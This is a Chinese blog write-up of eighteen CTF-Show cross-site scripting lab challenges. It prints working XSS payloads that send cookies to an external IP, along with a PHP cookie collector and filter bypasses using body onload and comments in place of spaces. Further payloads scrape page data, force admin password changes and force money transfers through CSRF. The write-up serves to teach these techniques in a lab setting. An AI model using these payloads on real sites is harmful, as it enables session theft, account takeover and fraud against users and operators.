CTF-Show-XSS系列

CTF-Show-XSS系列

Problem 1

前置知识

window.open() 方法是 JavaScript 中的一个内置方法,用于在浏览器中打开一个新的窗口或标签页。

更多内容参考:https://blog.csdn.net/weixin_46098577/article/details/130925130

思路

在页面上输入数字1,发现如下三点:

  • url上msg参数的值就是输入的内容
  • 输入的内容会输出在页面上
  • 满足xss的条件,将用户输入的内容进行输出,用户可以控制页面所渲染的内容。

img

尝试访问链接:

链接:https://69143d7b-b8f9-4095-8209-1ac42f1824c2.challenge.ctf.show/?msg=%3Cscript%3Ealert(1)%3C/script%3E

或在页面上输入:<script>alert(1)</script>

img

正常执行了该js语句,代表页面存在XSS漏洞。

注:该题目的flag放在了机器人的Cookie当中,攻击者需要构造js语句获取用户的cookie,来获得flag。ctf-show后台会有机器人自动点击你所构造的恶意链接,触发xss,获得该机器人的cookie,从而得到flag。

首先,自己购买一台云服务器,配置好中间件,编写如下脚本:

<?php
$content = $_GET[1];
if(isset($content)){
        file_put_contents('/tmp/flag.txt',$content);
}else{
        echo 'no input';
}
?>

之后,在输入框中输入如下payload:

<script>window.open("http://120.46.69.195/index.php/?1="+document.cookie)</script>

输入之后,后台机器人就会隔一段时间单击你生成的恶意url,之后就会将flag存在cookie里暴露出来。

得到flag

img

Problem 2

前置知识

在 IMG 标签中,当给定的图片 URL 地址存在且图片加载完成,则触发onload事件。当给定的图片 URL 地址不存在或网络出错时,则触发onerror事件。

在js中,location.href经常用于页面跳转。

body的onload方法是在整个页面加载完成后触发的方法,可以用来执行一些初始化设置、加载数据、绑定事件等操作。

更多内容参考:https://blog.csdn.net/qross/article/details/125083915

思路

在上一题的基础上,过滤了script标签。我们可以用body标签进行绕过。

注:body标签绕过基本上是通杀,因为body标签是前端非常常用的标签

payload:

<body onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 3

思路

在上一题的基础上,过滤了img标签,我们依然可以使用body标签进行绕过。

payload:

<body onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 4

思路

我们依然可以使用body标签进行绕过。

payload:

<body onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 5

思路

在上一题的基础上,过滤了空格。我们可以使用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 6

思路

依然采用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 7

思路

依然采用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 8

思路

依然采用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 9

思路

依然采用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 10

思路

依然采用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 11

思路

依然采用注释绕过。

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

获得flag

img

Problem 12

思路

img

打开页面,发现是一个写信功能。我们的任务就是将:xss写到信里,管理员一旦打开信,就会触发xss,将自己的cookie泄露出去。并且,信是永久存在的,不是一次性的,因此叫做存储型xss。

img

img

得到flag

img

payload:

<body/**/onload="window.open('http://120.46.69.195/index.php/?1='+document.cookie)"></body>

<body/**/onload="window.location.href='http://120.46.69.195/index.php/?1='+document.cookie"></body>

Problem 13

思路

过滤了body标签,没有过滤script标签。

payload:

<script>window.open("http://120.46.69.195/index.php/?1="+document.cookie)</script>

接下来说一下简单的思路:

  • 我们要想获得管理员的cookie,就需要让管理员触发xss。
  • 管理员可以查看到所有用户的用户名和密码。
  • 那么,我们注册用户时,将用户名和密码,全部设置为xss。
  • 当管理员查看用户管理页面时,就会触发xss,从而使我们获得管理员的cookie。
  • 由于注册用户需要存储在数据库中,因此这个xss为存储型xss。

接下来进行实践:

  • 注册账户:用户名和密码均为xss。
  • 之后管理员会自动单击用户管理功能,我们可以获得到管理员的cookie
  • img
  • 虽然可以得到cookie,但是没有看到flag
  • 但是,我们可以冒充管理员的身份,来查看用户管理的功能
  • 使用burp,访问用户管理页面,进行抓包,填写管理员的cookie
  • 最终得到flag
  • img

Problem 14

思路

在上一题的基础上,添加了机制:管理员访问完用户管理页面后,立马登出了,导致:虽然可以不停的获取cookie,但是cookie一直失效。

这时候,我们需要修改一下payload,使得当管理员访问用户管理页面时,xss直接将这个页面的内容(flag)拿出来,存储到我们服务器的flag.txt文件中。(不需要拿管理员的cookie了,直接利用xss拿隐私数据)

payload:迭代所有行,如果行包含ctfshow关键字,那么将该值给到远程服务器,进而获得flag。

<script>$('.layui-table-cell').each(function(index,value){{if(value.innerHTML.indexOf('ctfshow') > -1){window.open("http://120.46.69.195/index.php/?1="+value.innerHTML);}}})</script>

img

Problem 15

思路

这一题相比于上一道题多了一个修改密码的机制。我们使用上一道题的payload是无法进行通杀的。

我们可以注册用户,用户名和密码为xss,使得:管理员触发xss时,管理员的密码被修改。

我们在修改密码时,使用burp来进行抓包:
img
也就是说,当正在登录的用户触发这个api时,该用户的密码就会被修改。因此,只需要让管理员访问这个url就可以了。

payload:

//管理员地址为127.0.0.1
<script>window.location.href='http://127.0.0.1/api/change.php?p=123'</script>

之后用admin 123来登录管理员账号,抓包访问用户管理页面,最终获得flag。

img

Problem 16

思路

这道题在上一道题的基础上,修改密码操作从GET提交变为了POST提交。

因此,让管理员触发xss,以post请求发送数据包,从而强制修改管理员密码。

正在修改密码时,抓取的数据包如下:

img

payload:

<script>$.ajax({url:"/api/change.php",method:"POST",data:{p:"1234"},success:function(response){console.log("success!");}});</script>

注册用户名密码为该xss,管理员在查看用户管理页面时,就会触发该xss,从而修改管理员密码,最终获得flag。

img

Problem 17

思路

这道题多了一个转账汇款功能,对于转账汇款,我们首先就要想到负值。

  • 注册一个新账户
  • 登录该账户,初始金额为5元
  • 尝试给admin汇款,转账-10000元
  • 那么,该账户的钱为:5-(-10000) = 5+10000 = 10005元
  • 之后,购买flag,得到flag。

img

Problem 18

思路

这道题我们尝试使用上一题的思路,转账负值,失败了。

那么,我们可以构造xss,使得当管理员访问用户管理页面时,给我们转账,从而我们就可以购买、获得flag了。

在转账的同时进行抓包:

img

payload:

<script>$.ajax({url:"/api/amount.php",method:"POST",data:{u:123,a:10000},success:function(response){console.log("success!");}});</script>

登录123账户,发现金额发生了变化
img

之后购买,得到flag

img

总结

常用XSS绕过手段和利用

  • 反射型和存储型XSS
  • script标签触发xss
  • body标签绕过,onload属性
  • img标签绕过,onerror属性
  • 过滤空格,注释绕过。
  • 触发xss,获取管理员cookie
  • 触发xss,获取管理员页面内容
  • xss和csrf配合
    • 触发xss,修改管理员密码
    • 触发xss,以管理员身份、不同提交方式等执行敏感操作
  • xss和业务逻辑漏洞
    • 转账为负值
    • 触发xss,在管理员未知情的情况下,转账。
posted @   夏目^_^  阅读(794)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示